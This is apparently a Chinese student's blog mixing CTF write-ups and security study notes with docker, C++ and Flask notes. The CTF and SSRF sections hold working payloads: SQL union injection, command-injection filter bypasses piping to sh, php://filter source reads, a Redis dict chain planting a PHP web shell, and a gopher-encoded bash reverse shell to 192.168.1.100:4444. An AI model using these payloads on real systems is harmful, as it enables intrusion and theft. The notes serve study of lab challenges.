这就是--Potato

随便看看的题目

2025-05-25T14:40:17.000Z

# [SUCTF 2019]EasySQL

buu 上的，= 百度下有题解，这里说点有趣的

关于最后 payload 还有查询语句:

select $_GET['query'] || flag from flag

这里的 II 应该是逻辑或，当使用任意一个数字（常数列）与其或时，返回的只会是常数列。所以 payload 是 *,任意数字 ，因为 *||flag 是非法的，即使是开启了所谓的字符串拼接也是不对的。

但是似乎这道题其实没有开字符串拼接，输入 *，1 返回的是：

Array ( [0] => flag{c32cc085-3992-43d4-948a-8b72f8002d1e} [1] => 1 )

显然是没有拼接上 flag 的，而且只有那个任意数字是 0 的时候 [1] 是 0，否则都是 1，所以似乎这里还是 OR, 并非拼接，如果是拼接，那么似乎只输入数字也是可以的。至于为什么 0 时返回是 0，也许是因为 flag 的值也被当成是 0 了（？）

此外我还试了试只输入 0，没有返回值，似乎是有语法错误了，不过 *,0 有上述输出。

MySQL 默认 || 是 OR, 但是其他的有的会默认拼接。

# [ACTF2020 新生赛] Include1

倒是提供了一个用伪协议读源码的方法：

file=php://filter/read=convert.base64-encode/resource=flag.php

有的时候就是这么朴实的绕过，可以语法上编解码。像是上次 URL?

# [GXYCTF2019]Ping Ping Ping1

命令执行

你知道的，cat 也可以用来读源码。

感觉三种解法都很有趣：

变量拼接（因为源码中有个没啥用的变量 a）：

/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

编码:

又是 base64

/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

这里 base64 加密了 cat flag.php，这样就不会被 flag 以及空格过滤掉，接下来的几个就是通过管道符传递给 base64 (-d 表示解码，$IFS 是绕过空格，$1 是占位符)，再交给 sh 执行。虽然题目过滤了 bash，但是 sh 可以用。

最后一个 | sh 是必要的，否则你只会得到 cat flag 本身

?ipdddddfdsfa;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

内联:

内联，就是将反引号内命令的输出作为输入执行

也就是先执行 `` 之内的，然后将结果代替本身

构造

	?ip=127.0.0.1;cat$IFS$9`ls`
	其中cat$IFS$9`ls`
	等同于cat $(ls)，只是这题目把()过滤了
	$IFS$9依旧是用来代替空格
	$IFS是shell环境变量一般是空格/制表/换行
	$数字是脚本的参数，没定义就会被当做空字符串，会强制参数扩展，使得$IFS的第一个字符无论是什么，也会被当做分隔符(其实只是扩展时会将第一个不论是哪一种分隔符都换成空格而已，所以要成功,$IFS不能为空)。（所以用9就是因为数字大，大概率没定义）

# [极客大挑战 2019] LoveSQL1

一个非常非常普通的 SQL 联合查询，但是我对这个过程一点也不熟悉，所以随便过一过。

首先是万能密码过个登录 1' or 1# ，得到真的账号密码（是真的，但是没用），显然注入点就是 username

用 order by 子句来判断有几个查询参数

1’ order by 1/2/3/4...

最大的不报错数字就是查询参数

联合查询判断回显点

1' union select 1,2,3

看一看返回的 1,2 在哪里 (这题是返回了 2，3 说明有俩可以用)

开爆！

1' union select 1,database(),3
//得到数据库名

1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()
//得到表名，接下来一句类似

1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=“表名”
//得到字段名

1' union select 1,database(),group_concat(id,username...) from 表名 
//爆数据！

挂一个

2025-04-13T09:25:36.000Z

抽象，这商家甚至还说要顺网线来找，从没见过这么离谱的商家，没理也要急。

看了一眼评论，算我买的时候走眼了（pdd 申诉通过了，退回来了，不过看到就来气，打算改天销了。）。

SSRF

2025-04-06T15:02:54.000Z

# 正文

可以从 URL 关键字中寻找漏洞

share 通常表示分享功能
wap 表示这是针对移动设备优化的版本
url 通常用于重定向
link 获取某个东西
src 就是 src
source 指定数据来源
target 用于指定表单提交后用于处理的文件
u url 的简写
display 控制图片显示方式
sourceURL 待下载文件的地址
imageURL 指定页面显示的图片的地址
domain 后跟域名

产生漏洞的函数 PHP
file_get_contents()

-- 支持 php://input 协议

sockopen()/fsockopen()

-- 这个函数用于获取指定的 url 的数据，文件或者 html。使用 socket 建立 tcp 链接。

curl_exec()

-- 通过 PHP 获取文件 / 数据，下载到 curled 文件夹，附加随机数和 txt 扩展名

-- 默认不跟踪跳转，用于执行指定的 url 对话

伪协议

file:/// 从文件系统中获取文件内容，如，file:///etc/passwd
dict:// 字典服务器协议，访问字典资源，如，dict:///ip:6739/info：
sftp:// SSH 文件传输协议或安全文件传输协议
ldap:// 轻量级目录访问协议，或者 ldaps://,Idapi://
tftp:// 简单文件传输协议
gopher:// 分布式文档传递服务，可使用 gopherus 生成 payload

fopen()
readfile()

利用的协议：

不是说一定要用为协议，直接写 url 就等同于访问它.jpg

要求目标服务器可以接收用户指定的 URL 并发起请求

（1）file：在有回显的情况下，利用 file 协议可以读取服务器本地的任意内容
例如：
将file:///etc/passwd作为参数提交给该接口，服务器就会尝试读取 /etc/passwd 文件的内容，并将结果返回给攻击者（如果存在回显）

（2）dict：泄露安装软件版本信息，查看端口，操作内网redis服务等
语法是：
dict://<server>:<port>/<database identifier>/<search query>
一些服务响应dict请求会返回自身信息，所以泄露。也可以用于探测端口是否开放 (只构造到dict://<target_ip>:<port>/)。通常只是为已知漏洞做准备。
但是似乎不能代替file读取普通文件

（3）gopher：gopher支持发出GET、POST请求,可用于反弹shell
语法是：
gopher://<host>:<port>/<selector，也就是执行的操作，格式有很多种>


（4）http/s：探测内网主机存活，也可以用于探测端口是否开放
例如：
构造 http://192.168.1.100:80 这样的 URL 提交给 SSRF 接口，观察服务器的响应来判断 192.168.1.100 的 80 端口是否开放以及是否有 Web 服务在运行。

更进一步的：

一:dict

Redis 是一个常用的内存数据库，dict 可以模拟 Redisd 协议格式，通过向内网中的 Redis 服务器发送请求，如果该服务器没有访问控制等，可以执行一些 Redis 命令

一个流程

1. 构造 dict://<内网 Redis IP>:6379/INFO

返回版本等信息

2. 构造 dict://192.168.1.100:6379/CONFIG%20SET%20dir%20/var/www/html

修改数据存储目录

3. 构造 dict://192.168.1.100:6379/SET%20shell.php%20%22%3C?php%20system(%24_GET%5B%27cmd%27%5D);?%3E%22

使用 SET 写入 <?php system ($_GET ['cmd']);?>

4. 构造 dict://192.168.1.100:6379/SAVE , 持久化数据

5. 访问 http://目标网站域名/shell.php?cmd=ls ，

使用刚刚的脚本

这个流程也适用于 gopher 协议请求

但是使用 Redis 命令要前加一个_，最后要以 %0D%0A 结尾

例如保存那个要改为：gopher://<Redis 服务器 IP>:6379/_SAVE%0D%0A

二:gopher

gopher 协议反弹 shell：

这是利用已经存在的命令执行漏洞，可以是 web 或者 PHP 上的。

作用是将命令执行的结果返回到你监听的端口处。

例如命令执行漏洞如果在 vulnerable.php ：

先构造一个正常的 POST 请求

	POST /vulnerable.php HTTP/1.1
	Host: <目标主机>
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 68

	cmd=<?php system("bash -i >& /dev/tcp/192.168.1.100/4444 0>&1");?>

然后转化为 gopher 协议格式

将上述 HTTP 请求转换为 gopher 协议的 `` 部分，需要注意以下几点：

每个换行符（ \n ）在 gopher 协议中通常用 %0D%0A 表示（ \r\n 的 URL 编码）。

空格用 %20 表示。

特殊字符需要进行 URL 编码。

gopher 的默认端口是 70
如果发起 post 请求，回车换行需要使用 %0d%0a，如果多个参数，参数之间的 & 也需要进行 URL 编码

	这也是在构造复杂请求，你也可以截获请求，然后仿造，或者模拟正常用户。
	URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

	转化后：
	gopher://<目标主机>:80/_POST%20/vulnerable.php%20HTTP/1.1%0D%0AHost:%20<目标主机>%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0AContent-Length:%2068%0D%0A%0D%0Acmd%3D%3C%3Fphp%20system(%22bash%20-i%20%3E%26%20/dev/tcp/192.168.1.100/4444%200%3E%261%22);%3F%3E
	//其实就是进行两次url编码，但是第一次后要手动将%0A改成%0D%0A

改成 %0D%0A 是为了避免服务器把某些特殊字符混淆成键值对

然后监听下 4444 端口：

nc -lvp 4444     //这什么玩意儿？？？

这样反向连接成功后，就可以在目标主机上执行命名（起码比一直构造好 php 好了很多）

gopher 协议攻击内网服务：

# 其他

脚本编码：

	import urllib.parse

	payload = \
	"""POST /flag.php HTTP/1.1
	Host: 127.0.0.1
	Content-Length: 292
	Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1lYApMMA3NDrr2iY
	------WebKitFormBoundary1lYApMMA3NDrr2iY
	Content-Disposition: form-data; name="file"; filename="test.txt"
	Content-Type: text/plain
	SSRF Upload
	------WebKitFormBoundary1lYApMMA3NDrr2iY
	Content-Disposition: form-data; name="submit"
	提交
	------WebKitFormBoundary1lYApMMA3NDrr2iY--"""

	#注意后面一定要有回车，回车结尾表示 http 请求结束
	tmp = urllib.parse.quote(payload)
	# print(tmp)
	new = tmp.replace('%0A','%0D%0A')
	# print(new)
	result = 'gopher://127.0.0.1:80/'+'_'+new
	result = urllib.parse.quote(result)
	print(result) # 这里因为是 GET 请求所以要进行两次 url 编码

不太会用，还是老老实实找网站编码

docker

2025-03-28T12:39:27.000Z

# 命令

-d ：后台运行容器，例如 docker run -d ubuntu 。
-it ：以交互式终端运行容器，例如 docker exec -it container_name bash 。
-t ：为镜像指定标签，例如 docker build -t my-image . 。

# 架构

# Client

常用命令：
run (运行容器), ps (正在运行的容器), bulid (构建镜像)

exec (在容器中执行命令)

# Daemon

Docker 守护进程（通常是 dockerd ）监听来自 Docker 客户端的请求，并且通过 Docker API 执行这些请求。

负责容器、镜像等 Docker 对象的管理，并根据请求的参数启动容器、删除容器、修改容器配置等。

sudo systemctl start docker //启动，但是通常自启动

# Engine API

RESTful 接口，允许外部客户端与 Docker 守护进程进行通信。通过这个 API，用户可以执行各种操作

可以通过 curl 或其他 HTTP 客户端访问 Docker 引擎 API

# Containers

执行环境，容器是从 Docker 镜像启动的，包含了运行某个应用程序所需的一切 —— 从操作系统库到应用程序代码。容器在运行时与其他容器和宿主机共享操作系统内核，但容器之间的文件系统和进程是隔离的，它是镜像运行的一个实例

# Images

容器的静态只读模板

# Registries

仓库用于存储镜像，最常用的公共仓库是 Docker Hub。可以从 Docker Hub 下载镜像，也可以上传自己的镜像分享给其他人。可以部署自己的私有仓库。

# Compose

用于定义和运行多容器 Docker 应用的工具

# Swarm

集群管理和调度工具，允许将多个 Docker 主机（节点）组织成一个集群

# Networks

允许容器之间相互通信，并与外部世界进行连接

# Volumes

一种数据持久化机制，允许数据在容器之间共享，并且独立于容器的生命周期

# 使用

交互式启动

	docker run -i -t ubuntu:15.10 /bin/bash
	-t: 在新容器内指定一个伪终端或终端。
	-i: 允许你对容器内的标准输入 (STDIN) 进行交互。

会进入到容器的命令行中，退出命令行会回到当前主机

后台启动

	runoob@runoob:~$ docker run -d ubuntu:15.10 /bin/sh -c "while true; do echo hello world; sleep 1; done"
	//返回容器id，使用`ps`来查看是否在运行

ps 返回的状态可能是：

返回中的 PORTS 是端口信息和使用的连接类型（tcp\udp）

使用 docker logs 命令，查看容器内的标准输出（ID 或名称都可以，以下都是这样）。

使用 docker stop 命令来停止容器

使用 docker attach 命令进入后台运行的容器，如果之后退出，会导致停止

使用 docker exec -it 命令进入，则退出不会停止

导入 / 出容器

	docker export 1e560fca3906 > ubuntu.tar //导出快照
	cat docker/ubuntu.tar \| docker import - test/ubuntu:v1 //导入快照
	docker import http://example.com/exampleimage.tgz example/imagerepo
	//从url中导入

删除容器

用 rm -f

docker container prune  //删除所以终止状态的容器

# WEB

	docker pull training/webapp # 从公共镜像载入
	#training/webapp：它代表了要拉取的镜像的名称。training 是镜像的命名空间或者组织名，webapp 则是镜像的具体名称
	#docker images 查看已有镜像
	docker run -d -P training/webapp python app.py
	#-P：将容器内部暴露的端口随机映射到宿主机的一个端口上，外部可以通过宿主机上映射的端口来访问容器内的应用（使用 `ps` 查看映射端口，也可以用 `port`)
	//固定端口使用-p xxxx:yyyy 从容器的yyyy映射到宿主机的xxxx
	//python app.py：这是在容器内部要执行的命令，它会启动容器内的 Python 应用程序 app.py

使用 docker top 查看容器进程（类似于 tasklist）

使用 docker inspect 来查看 Docker 的底层信息（返回 json 文件）

使用 docker start 来启动已经停止的容器

使用 docker restart 命令来重启正在运行的容器

使用 docker rm 命令来删除不需要的容器（该容器必须先停止）

docker ps -l 查询最后一次创建的容器

一点C-的碎碎念

2025-03-22T10:36:29.000Z

# 一点疑惑

# 1.this 指针 (选 B)

A. 构造函数用于初始化对象，在构造函数中可以使用 this 指针来区分成员变量和局部变量，或者通过 this 指针调用其他成员函数等。例如：

	class MyClass {
	public:
	int num;
	MyClass(int num) {
	this->num = num; // 用于区分时必须明写 this
	}
	};

B. 此时 this 指针是一个指向常量对象的指针，即 const 类型的指针，不能指向可以被修改的对象

class MyClass {
public:
    int num;
    void printNum() const {
        // this 指针指向常量对象
        const MyClass* constThis = this;
        // 可以使用 this 指针访问成员变量，但不能修改
        std::cout << this->num << std::endl;
    }
};
/*在实际使用中，const类型的成员函数依然可以使用this来指向调用它的对象，也可以访问其内容*/

C，D 都是正确的

# 2. 构造 / 析构函数的执行

不放题目就说一下：

构造函数

默认就有普通构造函数和复制构造函数（是浅拷贝，仅仅赋值），它们是重载的

但是，如果自己写了任意一种的构造函数，就不会在默认生成

可以使用

MyClass() = default

来显式指定生成默认的构造函数

另外，const 可以作为构造函数的重载区分，当定义的对象是 const 类型，它才会被自动调用。

析构函数

没有参数，不可重载，都是先入后出（同生存期时，包括对象数组），这是因为后面定义的对象析构时可能访问已销毁的前面的对象，所以这是 C++ 的标准要求的，跟怎么存储没有关系。还有就是，如果堆上的对象不是手动释放，在程序结束后不会调用析构函数，而是被操作系统直接回收。

# 3. 成员函数 & const&static

常成员函数：

属于对象本身，不能通过 this 指针修改调用对象的非常数据成员，但是可以使用外部的数据 / 函数

并且可以修改外部数据（除 const 的数据），被调用外部函数也可以修改对象的非常数据成员

稍微复杂一点：

#include <iostream>
class AnotherClass {
public:
    void nonConstFunction() {
        std::cout << "Non-const function of AnotherClass." << std::endl;
    }
    void constFunction() const {
        std::cout << "Const function of AnotherClass." << std::endl;
    }
};
class MyClass {
public:
    void constFunction(const AnotherClass& anotherObj, AnotherClass& nonConstAnotherObj) const {
        // 可以调用 const 对象的 const 成员函数
        anotherObj.constFunction();
        // 以下代码会报错，不能调用 const 对象的非 const 成员函数
        // anotherObj.nonConstFunction(); 
        // 可以调用非 const 对象的非 const 成员函数
        nonConstAnotherObj.nonConstFunction();
    }
};
int main() {
    AnotherClass obj1;
    const AnotherClass obj2;
    MyClass myObj;
    myObj.constFunction(obj2, obj1);
    return 0;
}
//其实也不复杂，就是说如果用了其他对象，那么能否调用其中的函数，看那个对象本身是否可以调用
//但是话又说回来，如果那个对象的方法改变了本来这个对象的非const成员函数，依然是会报错的
//同理，被调用的对象不能调用调用对象的非const成员函数
总之就是：不能改变/使用本身对象里的非const成员（除被声明为mutable的成员数据），其他随意。

静态成员函数：

属于类，也可以通过对象调用，但是没有区别，只能使用静态成员数据 / 函数和外部数据 / 函数

提一下：

1. 静态成员数据不是在构造函数中初始化的（但是构造函数可以使用它），必须在类外以 类名::变量名=xxx 的形式初始化，不过，如果它同时是 const 的话，甚至可以直接在类内就定义（也可以不）

2. 常数据成员只能在构造函数的初始化列表中定义（除了上面那个情况），不能在函数本身或者外部

3.const 对象只能绑定到 const 引用，但是，const 引用可以绑定非 const 对象

所以成员函数应该：

bool operator>(const Complex &other) const{}
//关注前一个const的作用

否则传入 const 对象时会报错。

总之就是：static 类型的属于类本身，但是 const 属于对象，只有同时是 static 和 const 才能类内定义

# 4. 重载

并不是每个可重载的运算符都能以这三种方式重载。例如，赋值运算符 = 、下标运算符 [] 、函数调用运算符 () 和成员访问运算符 -> 只能重载为成员函数。

对于 ++ 运算符的重载，可以只重载一种形式（后置有个 int 作为占位参数）

函数的重载中 static，返回值不作为区分重载的标志（包括最后带默认参数的也不行）

重复定义会报错，在继承中则会同名覆盖

但是函数或者其参数的 const 修饰（对于参数，除了定义的 const，字面量也可以充当 const 参数）可以用于区分，在继承中会是重载（而不是覆盖，也不会改变是否为虚函数）

# 5. 对象与引用

引用是对象的别名，你可以将对象本身当作引用传入或者传出。

也就是说：

CLASS fuction (CLASS& F){...}
cLASS function (CLASS F){...}
都可以用；
CLASS a,b;
b=function(a);
来调用，不需要用CLASS &c=a;b=function(c);这样的表达。
只是前者会达到类似指针的效果，后者单纯传值（这里俩不能重载）
同理：
CLASS function(...){...}
CLASS &fuction(...){...}
都可以用：
return *this;
来返回
前者返回的是副本，需要存在复制构造函数，如果后续是连续操作，会在副本上操作
造成不能连续使用，而前者返回还是原对象的应用，尽管看着还是返回对象（这也就是为什么重载输入输出流时必须是返回引用）

# 各种库

# <iostream>& <iomanip>

主要类

std::istream ：用于输入操作的抽象基类。
std::ostream ：用于输出操作的抽象基类。
std::iostream ：继承自 std::istream 和 std::ostream ，用于同时进行输入和输出操作。
std::cin ：标准输入流对象，通常与键盘关联。
std::cout ：标准输出流对象，通常与屏幕关联。
std::cerr ：标准错误输出流对象，不带缓冲，通常与屏幕关联。
std::clog ：标准日志流对象，带缓冲，通常与屏幕关联

函数 / 操纵符	功能	实例代码	输出结果
`std::setw(int n)`	设置字段宽度，为下一次输出指定宽度	`std::cout << std::setw(5) << 42;`	`42`
`std::setfill(char)`	设置填充字符（默认是空格）	`std::cout << std::setfill('*') << std::setw(5) << 42;`	`***42`
`std::left`	设置左对齐	`std::cout << std::left << std::setw(5) << 42;`	`42`
`std::right`	设置右对齐	`std::cout << std::right << std::setw(5) << 42;`	`42`
`std::internal`	符号靠左，其余靠右	`std::cout << std::internal << std::setw(5) << -42;`	`- 42`
`std::setprecision(int)`	设置浮点数的有效位数	`std::cout << std::setprecision(3) << 3.14159;`	`3.14`
`std::fixed`	设置定点格式输出浮点数	`std::cout << std::fixed << std::setprecision(2) << 3.14159;`	`3.14`
`std::scientific`	设置科学计数法格式输出浮点数	`std::cout << std::scientific << 3.14159;`	`3.141590e+00`
`std::hex`	设置整数以 16 进制显示	`std::cout << std::hex << 42;`	`2a`
`std::oct`	设置整数以 8 进制显示	`std::cout << std::oct << 42;`	`52`
`std::dec`	设置整数以 10 进制显示（默认）	`std::cout << std::dec << 42;`	`42`
`std::showbase`	显示进制前缀（如 `0x` 表示 16 进制）	`std::cout << std::showbase << std::hex << 42;`	`0x2a`
`std::noshowbase`	隐藏进制前缀（默认）	`std::cout << std::noshowbase << std::hex << 42;`	`2a`
`std::uppercase`	16 进制字母显示为大写	`std::cout << std::uppercase << std::hex << 42;`	`2A`
`std::nouppercase`	16 进制字母显示为小写（默认）	`std::cout << std::nouppercase << std::hex << 42;`	`2a`
`std::showpos`	在正数前显示 `+` 符号	`std::cout << std::showpos << 42;`	`+42`
`std::noshowpos`	不显示正数的 `+` 符号（默认）	`std::cout << std::noshowpos << 42;`	`42`
`std::boolalpha`	布尔值以 `true/false` 输出	`std::cout << std::boolalpha << true;`	`true`
`std::noboolalpha`	布尔值以 `1/0` 输出（默认）	`std::cout << std::noboolalpha << true;`	`1`
`std::setbase(int n)`	设置整数的进制（支持 8、10、16）	`std::cout << std::setbase(16) << 42;`	`2a`
`std::resetiosflags`	重置指定的流状态	`std::cout << std::resetiosflags(std::ios::showbase) << std::hex << 42;`	`2a`
`std::setiosflags`	设置指定的流状态	`std::cout << std::setiosflags(std::ios::showbase) << std::hex << 42;`	`0x2a`

其中比较重要的：

cout<< setfill('*')<<std::left<< setw(10) << number;
//默认空格填充，以及右对齐
cout<<std::fixed<<setprecision(3) << pi;
//默认是科学计数（std::scientific）,这里固定小数点并设置浮点有效位数
cout << std::setiosflags(std::ios::uppercase) << std::hex << 255;
//设置格式标志，在输出十六进制数、科学计数法表示的数等时，其中的字母会以大写形式输出（默认小写）。后续使用std::resetiosflags(std::ios::uppercase)清除。后一个就是输出数字以十六进制

# <string>

size() ：返回字符串的长度。
empty() ：检查字符串是否为空。
operator[] ：通过索引访问字符串中的字符。
substr(开始位置索引，长度) ：返回子字符串。
find(要查找的字符) ：查找子字符串在主字符串中的位置，返回索引，没找到是 - 1。

改为 rfind 就反向寻找。
replace(索引,替换字符数，替换字符) ：替换字符串中的某些字符。

insert,erase 也都使用，语法和下面那个 vector 一样

[其他见]( C++ 标准库 | 菜鸟教程 )

# <sstream>

处理字符串和数字之间的转换（可以像处理流一样处理字符串）

主要类

istringstream ：用于从字符串中读取数据。
ostringstream ：用于将数据写入字符串。
stringstream ：是 istringstream 和 ostringstream 的组合，可以同时进行读取和写入操作。

//定义
std::istringstream iss("some data");
std::ostringstream oss;
std::stringstream ss;
//读取数字，读取的类型跟定义的有关，不够则保留原有值
int i;
double d;
iss >> i >> d;
//写入数据，都变成字符串
oss << i << " " << d;
//覆写，返回已有内容（如有参数去覆写，则返回覆写后的）,这里是清空
string a;
a=oss.str("");

# <vector>

用于存储动态大小的数组

序列容器，允许用户在容器的末尾快速地添加或删除元素

// 空的vector
std::vector<int> vec1;   
// 长度为5的vector，元素默认初始化
std::vector<int> vec2(5);
// 长度为5的vector，元素值为10
std::vector<int> vec3(5, 10);  
// 使用初始化列表初始化
std::vector<int> vec4 = {1, 2, 3, 4};

//添加，访问，数量，清空，检查是否为空（返回bool）
myVector.push_back(10);或者myVector.emplace_back()
    //前者是先创建临时匀速，然后复制或移动过去，后者直接尾部构造
int firstElement = myVector[0];
size_t size = myVector.size();  //循环中会用到i<myVector.size()
myVector.clear();
numbers.empty();

其他：

函数	说明
`push_back(const T& val)`	在末尾添加元素
`pop_back()`	删除末尾元素
`at(size_t pos)`	返回指定位置的元素，带边界检查，会抛异常
`operator[]`	返回指定位置的元素，不带边界检查
`front()`	返回第一个元素
`back()`	返回最后一个元素
`data()`	返回指向底层数组的指针
`size()`	返回当前元素数量
`capacity()`	返回当前分配的容量
`reserve(size_t n)`	预留至少 `n` 个元素的存储空间，防止频繁分配
`resize(size_t n)`	将元素数量调整为 `n`
`clear()`	清空所有元素
`insert(iterator pos, val)`	在指定位置插入元素
`erase(iterator pos)`	删除指定位置的元素
`begin()` / `end()`	返回起始 / 结束迭代器（0/n）

insert(iterator pos, const T& val);
erase(iterator pos);
//pos：一个迭代器，指向容器中要插入/删除元素的位置。
！！！注意是插入到指定位置之前（也就是插入的元素自身占据了那个位置）。
//val：要插入的元素的值。
返回值：返回指向新插入元素的迭代器/指向被删除元素之后元素的迭代器，删最后一个就返回end()。
pos通常是`a.begin/end()+数字`的形式，数字就是索引，当然也可以用上述返回的迭代器操作
//操作后的其他元素会依次移动

就算你用不到那么多功能，也可以当作普通的数组使用

for (int a:vector), 这种语法仍然正确。

同时，它有指针和引用，并且作为参数传递，等同于数组，不会退化（如果不是下面第二种的话），可以当作返回值

	modifyVector(vector<int>* vec);
	也可以
	modifyVector(&vec[0], vec.size());
	注意一下：容器名不是指针
	std::vector<int> createVector() {
	return vec;
	}

# <algorithm>

提供了一组用于操作容器（如普通数组（包括其指针）、向量、列表等）的算法 (楼上那个也行)

基本语法（大多数）：

algorithm_name(container.begin(), container.end(), ...);
//下面迭代器就不解释了

# 1. 排序

//最后一个参数是排序函数，不指定时，基本类型按升序
sort(container.begin(), container.end(), compare_function);
//部分排序，前三个升序（在到end()的范围中，不包含），剩下未定义
partial_sort(vec.begin(), vec.begin() + 3, vec.end());
//稳定排序，当相等时保持原顺序，用于多次排序且要保留上次排序的相对顺序时
stable_sort(vec.begin(), vec.end(), compare_function);

# 2. 搜索

//指向匹配的元素，没有就是end()
auto it = find(container.begin(), container.end(), value);

# 3. 复制

vector<int> source = {1, 2, 3, 4, 5};
int destination[5];
copy(source.begin(), source.end(), destination);

# 4. 比较

bool result = equal(first1, last1, first2, compare_function);
//不包含last，最后那个参数可选，自定义比较规则（函数或 Lambda 表达式），返回bool
//注意对于基本类型参数是指针，其他是迭代器

# 5. 修改

//翻转
std::reverse(vec.begin(), vec.end());
//区间赋值
std::fill(vec.begin(), vec.end(), 0);
//区间替换指定值
std::replace(vec.begin(), vec.end(), 1, 99); 
//区域赋值
std::copy(vec.begin(), vec.end(), vec2.begin());

# PS 自定义比较函数

bool compare(int a, int b) {
    return a > b;
}
true表示a在b前面，也就是不用换位置，反之亦然。
对齐输入就是ture按原位置，false反之
    这里是降序排列

flask

2025-03-20T05:07:20.000Z

这是个 python 的库

安装：

pip install Flask

	from flask import Flask //导入flask类

	app = Flask(__name__)
	//创建实例‘app’，__name__是特殊变量，直接执行是__main__，被导入时模块名
	//用来Flask是构造函数，传递这个变量是为了让Flask应用能找到这个文件

	@app.route('/') //装饰器，里面那个是url,'/'就是指网页根目录，该目录下加载该文件
	def hello_world():
	return 'Hello, World!'

	if __name__ == '__main__': //在不是被导入的情况下执行debug
	app.run(debug=True) //run方法，启动内置的开发服务器，参数表示同时启动调试

# 基本概念

路由：指定在特定 url 执行特定函数

@app.route('/')

视图函数：视图函数是处理请求并返回响应的 Python 函数。它们通常接收请求对象作为参数，并返回响应对象。

	//需要导入request类
	@app.route('/greet/<name>')
	def greet(name):
	return f'Hello, {name}!'

请求对象：请求对象（request）包含了客户端发送的请求信息

	//需要导入request类
	@app.route('/submit', methods=['POST'])
	def submit():
	username = request.form.get('username') //获取POST请求的对应字段
	return f'Hello, {username}!'

响应对象：响应对象包含了发送给客户端的响应信息，如状态码、响应头、响应体等。

	//需要导入make_response类
	@app.route('/custom_response')
	def custom_response():
	response = make_response('This is a custom response!') //创建自定义响应对象
	response.headers['X-Custom-Header'] = 'Value' //创建响应头
	return response

模板：Flask 使用 Jinja2 模板引擎来渲染 HTML 模板。模板允许你将 Python 代码嵌入到 HTML 中，从而动态生成网页。

	//需要导入render_template类
	@app.route('/hello/<name>')
	def hello(name):
	return render_template('hello.html', name=name)
	//后面那个是传递给模板的变量，注意模板要在templates文件夹中

<h1>Hello, !</h1>    <--模板中使用参数-->

应用工厂：应用工厂是一个 Python 函数，它创建并返回一个 Flask 应用实例。这允许你配置和初始化你的应用，并且可以创建多个应用实例。

	from flask import Flask
	def create_app(config_name):
	app = Flask(__name__)
	app.config.from_object(config_name) //这个方法从指定对象加载配置
	from . import routes //从当前包中导入模块routes.py
	app.register_blueprint(routes.bp) //把其中的蓝图注册到该应用，模块化开发用
	return app

配置对象：有一个配置对象，你可以使用它来设置各种配置选项，如数据库连接字符串、调试模式等。

	//上面的config_name
	class Config:
	DEBUG = True
	SECRET_KEY = 'mysecretkey' //密钥，加密会话用
	SQLALCHEMY_DATABASE_URI = 'sqlite:///mydatabase.db' //数据库url
	STATIC_FOLDER = 'static' //静态文件存储路径
	TEMPLATE_FOLDER = 'templates' //蓝图存储路径
	//这些玩意儿可以Flask(__name__,xxx)来指定。

蓝图：一个组织代码的方式，它允许你将相关的视图函数、模板和静态文件组织在一起，并且可以在多个应用中重用。

	//需要导入Blueprint
	bp = Blueprint('main', __name__) //蓝图名+当前模块名
	@bp.route('/')
	def home():
	return 'Home Page'

	from flask import Flask
	from .routes import bp as main_bp
	//从当前包的 routes.py 模块里导入 bp 对象，并将其重命名为 main_bp。
	//包是可以嵌套的..表示父包，可以认为包是一个存储模块的文件夹（所以用.或者..实际上等同于用相对路径）
	def create_app():
	app = Flask(__name__)
	app.register_blueprint(main_bp)
	return app

静态文件：静态文件是不会被服务器端执行的文件，如 CSS、JavaScript 和图片文件。


	<link rel="stylesheet" type="text/css" href="{{ url_for('static', filename='style.css') }}">
	{% raw %}
	//回去static目录找那个css文件
	//这个通常是被导入的模板里的
	//将静态文件放在 static 文件夹中，Flask 会自动提供服务(如果你没改)

扩展：有其他插件，难说～～

会话：存储用户信息，用户浏览应用时可以记住他们的状态。

就是 session，存储在 cookie

这里 session 对象用于存取对话数据

	from flask import session
	#可以使用 Python 内置的 secrets 模块生成一个强随机性的密钥
	#import secrets; print(secrets.token_hex())
	app.secret_key = 'your_secret_key_here'
	@app.route('/set_session/<username>')
	def set_session(username):
	session['username'] = username //把变量username的值存储在会话中，键为username
	return f'Session set for {username}'
	@app.route('/get_session')
	def get_session():
	username = session.get('username') //读取刚刚那个键的值
	return f'Hello, {username}!' if username else 'No session data'

Flask 的会话默认是永久的，但可以通过设置 session.permanent = True 来明确指定，并且可以通过 app.permanent_session_lifetime 来设置会话的过期时间。

错误处理：可以定义错误处理函数。

	@app.errorhandler(404)
	def page_not_found(e):
	return 'Page not found', 404

	@app.errorhandler(500)
	def internal_server_error(e):
	return 'Internal server error', 500

# 一个玩意儿

	from flask import Flask, session, redirect, url_for, render_template_string

	app = Flask(__name__)
	app.secret_key = 'your_secret_key'

	@app.route('/') //定义首页路由
	def index():
	username = session.get('username')
	if username:
	return f'Hello, {username}!'
	else:
	return 'You are not logged in.'

	@app.route('/login/<username>') //定义登录路由
	def login(username):
	session['username'] = username
	return redirect(url_for('index'))

	@app.route('/logout') //定义注销路由
	def logout():
	session.pop('username', None) //移除username键
	return redirect(url_for('index')) //重定向回首页


	if __name__ == '__main__':
	app.run(debug=True)

# 项目结构

my_flask_app/
│
├── app.py
└── requirements.txt

my_flask_app/
│
├── app/
│   ├── __init__.py
│   ├── routes.py
│   └── models.py
│
├── config.py
├── requirements.txt
└── run.py

my_flask_app/
│
├── app/                       //包含主要代码
│   ├── __init__.py    //3.0+版本不强制有，初始化Flask应用和配置扩展
│   ├── routes/                //应用路由和视图函数，这里用一个包代替上面的一个模块
│   │   ├── __init__.py         
│   │   ├── main.py             //主模块路由
│   │   └── auth.py             //认证相关路由
│   ├── models/               //数据库相关
│   │   ├── __init__.py
│   │   └── user.py                 //用户模型
│   ├── templates/             //存储HTML模板
│   │   ├── layout.html
│   │   └── home.html
│   └── static/
│       ├── css/
│       └── js/
│
├── config.py
├── requirements.txt       //列出依赖库
├── migrations/              //数据库迁移文件
│   └── ...
└── run.py                   //用于启动Flask应用

目录咯～

run.py 示例

